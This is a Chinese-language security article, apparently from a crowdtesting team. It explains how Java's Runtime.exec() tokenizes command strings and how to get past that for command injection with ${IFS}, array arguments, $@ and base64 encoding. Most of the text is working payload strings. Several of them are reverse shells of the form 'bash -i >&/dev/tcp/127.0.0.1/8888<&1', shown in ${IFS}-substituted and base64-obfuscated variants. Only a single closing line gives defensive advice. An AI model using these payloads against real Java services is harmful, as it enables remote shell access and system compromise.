No.1
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.2
前言
熟知的在java下执行系统命令的代码
Runtime.getRuntime().exec()
new ProcessBuilder().start()
众所周知,仅在命令前加了/bin/bash -c,才能使用特殊符号,如; | >等
No.3
使用${IFS}
测试代码:
String string=”xxx”;
InputStream in=Runtime.getRuntime().exec(string).getInputStream();
Scanner scanner = new Scanner(in).useDelimiter(“\A”);
System.out.println(scanner.hasNext() ? scanner.next() : “”);
· xxx=echo -n 123 输出
123
· xxx=/bin/bash -c echo -n 123输出为空
· xxx=/bin/bash -c echo${IFS}123 输出
123
· xxx=/bin/bash -c x=3;echo${IFS}$x 输出
3
· xxx=/bin/bash -c ls|grep${IFS}1.txt 输出
1.txt
· xxx=/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 可反弹,/bin/bash -c其后不能有空格等
· xxx=bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 不可反弹,由于无法识别到第一个参数
· xxx=/bin/bash -c echo bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1不可反弹,echo后有空格
· xxx=/bin/bash -c echo${IFS}-n${IFS}bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 可反弹,同理
综合以上可知
· xxx开头不包含/bin/bash -c,且不含特殊符号如>;${IFS}等,仅含有参数-r-c及参数值时,可正常执行
- 可以看到$man bash文档中对${IFS}的描述大佬链接
- 作为内部字段分隔符
- 除非特别设置,其默认值为
The Internal Field Separator that is used for word splitting after expansion and to split lines into words with the read builtin command. The default value is ``
$echo -n “${IFS}”|hexdump得到其值为20 09 0a,与默认值
- exec中使用StringTokenizer st = new StringTokenizer(command)函数进行分割
- 即 输入的xxx以 空格 \t\n\r\f进行分割,如下为StringTokenizer构造函数代码
public StringTokenizer(String str) { this(str, “ \t\n\r\f”, false);
}
· 若xxx开头包含/bin/bash -c ,则其后不能含有空格\t\n\r\f,否则就会被荼毒,使系统无法辨别。但是可以输入特殊符号如
- ; |执行多条命令
- ${IFS}绕过StringTokenizer
所以,在/bin/bash -c的前提下,可以进行拼接命令
如/bin/bash -c echo;ls|grep${IFS}1.txt
输出如下所示,前一条命令为echo;,后一条为ls|grep${IFS}1.txt
1.txt
若Runtime.getRuntime().exec()的第一个参数为string类型,则难逃StringTokenizer的摧残,则/bin/bash -c与其后命令存在空格\t\n\r\f无法并存。
/ 当第一个参数类型为String时,都会走到exec(String var1, String[] var2, File var3)这一步,等被分割了,再调用ProcessBuilder(String… var1) */public Process exec(String var1) throws IOException { return this.exec((String)var1, (String[])null, (File)null);
}public Process exec(String var1, String[] var2) throws IOException { return this.exec((String)var1, var2, (File)null);
}public Process exec(String var1, String[] var2, File var3) throws IOException { if (var1.length() == 0) { throw new IllegalArgumentException(“Empty command”);
} else {
StringTokenizer var4 = new StringTokenizer(var1);
String[] var5 = new String[var4.countTokens()]; for(int var6 = 0; var4.hasMoreTokens(); ++var6) {
var5[var6] = var4.nextToken();
} return this.exec(var5, var2, var3);
}
}/ 当第一个参数类型为String[]时,直接调用ProcessBuilder(String… var1) */public Process exec(String[] var1) throws IOException { return this.exec((String[])var1, (String[])null, (File)null);
}public Process exec(String[] var1, String[] var2) throws IOException { return this.exec((String[])var1, var2, (File)null);
}public Process exec(String[] var1, String[] var2, File var3) throws IOException { return (new ProcessBuilder(var1)).environment(var2).directory(var3).start();
}
而ProcessBuilder的构造函数如下
· 以List
· 以String… var1为参数的,由于存在command.add(var5);,在/bin/bash -c后的命令即使存在空格\t\n\r\f,也不会将其分割
public ProcessBuilder(List
} else { this.command = var1;
}
}public ProcessBuilder(String… var1) { this.command = new ArrayList(var1.length);
String[] var2 = var1; int var3 = var1.length; for(int var4 = 0; var4 < var3; ++var4) {
String var5 = var2[var4]; this.command.add(var5);
}
}
No.4
使用数组形式
使用数组形式是最普遍被熟知的。
像如下两种一样,直接将(/bin/bash、-c、命令)用数组(可变长)形式分割,这样命令也可直接使用空格等特殊字符
String cmdold=”;echo 123”;
String cmdnew=”ls | grep 1.txt”+cmdold;
ArrayList
hhh.add(“/bin/bash”);
hhh.add(“-c”);
hhh.add(cmdnew);new ProcessBuilder(hhh);
new ProcessBuilder(“/bin/bash”,”-c”,”ls | grep 1.txt;echo 123”);
No.5
使用$@
1.txt的内容是
aa bb cc
dd ee ff
执行命令
$x=cat 1.txt
$set $x
$echo $@
结果为
aa bb cc dd ee ff
2.txt的内容是
cat 1.txt
执行命令
echo $@ |bash 2.txt
结果为
aa bb cc
dd ee ff
$@能够获取对应的变量。
像$@|bash xxx string命令,若xx为空或者找不到,则将变成string|bash
因此可以绕过/bin/bash -c之后的命令不准含空格等字符的限制,来执行命令,如下
/bin/bash -c $@|bash 0 echo 命令
No.6
使用base64
bash -i >&/dev/tcp/127.0.0.1/8888<&1对应
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4PCYx}|{base64,-d}|{bash,-i}
base64解码之后的内容就是bash -i >&/dev/tcp/127.0.0.1/8888<&1
No.7
防护建议
对传入的字符串(有可能拼接到命令中)进行过滤时,要注意${IFS}特殊符号、base64编码等情况。